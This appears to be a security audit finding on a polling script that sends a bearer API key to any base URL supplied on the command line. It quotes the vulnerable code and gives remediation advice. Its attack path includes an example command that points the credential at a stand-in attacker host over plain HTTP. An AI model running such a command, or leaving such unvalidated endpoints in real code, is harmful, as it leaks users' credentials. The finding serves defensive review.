T09 · Insecure Skill Coding Practices
- Location
scripts/poll_daemon.py:43- Finding
Bearer API Key Can Be Exfiltrated Through an Unrestricted Base URL
- Content
View full analysis
Vulnerability Details
File Location:
scripts/poll_daemon.py:43, 80-91
Vulnerability Type: Credential disclosure through an attacker-controlled API endpoint
Risk Level: HighVulnerable Code:
python parser.add_argument("--base-url", default="https://api.thrd.email") ... base_url = args.base_url.rstrip("/") cursor_path = Path(args.cursor_file) cursor = load_cursor(cursor_path) headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", } print(f"Thrd poll daemon started (cursor={cursor}, file={cursor_path}).", file=sys.stderr) while True: try: resp = requests.get( f"{base_url}/v1/events", headers=headers, params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit}, timeout=(args.timeout_ms / 1000.0) + 10, )Technical Analysis
The
--base-urlargument accepts an arbitrary URL without validating its scheme or hostname. The polling daemon reads the sensitiveTHRD_API_KEYenvironment variable and includes it as a bearer credential in requests sent to the supplied URL.Consequently, anyone who can influence the daemon's command-line arguments can redirect the authenticated request to an attacker-controlled endpoint. The option also accepts plaintext HTTP URLs, allowing the credential to be exposed through network interception.
A configurable API endpoint is not required by the documented production workflow, which identifies
https://api.thrd.emailas the service endpoint. Sending a production credential to an unrestricted destination exceeds the minimum privilege and trust boundaries necessary for mailbox polling.Attack Path
- An attacker influences an operator, automation configuration, or agent-generated command to invoke:
bash python3 scripts/poll_daemon.py --base-url http://attacker.example - The script reads `THRD_ ...[truncated 857 chars]
- An attacker influences an operator, automation configuration, or agent-generated command to invoke:
- Remediation
View remediation
Remediation Suggestions
- Remove
--base-urlfrom production builds and use the fixed endpointhttps://api.thrd.email. - If endpoint configurability is necessary for testing, parse the URL and require:
- The
httpsscheme. - An exact allowlisted hostname.
- No embedded username or password.
- An expected or empty port.
- The
- Require a separate explicit development-only flag and development credential for non-production endpoints.
- Refuse to send production bearer credentials to localhost, private networks, redirects to different origins, or unapproved hosts.
- Disable cross-origin redirects for authenticated requests or validate every redirect target before forwarding the authorization header.
- Add automated tests confirming that HTTP URLs and non-allowlisted hosts are rejected before any request is sent.
- Remove
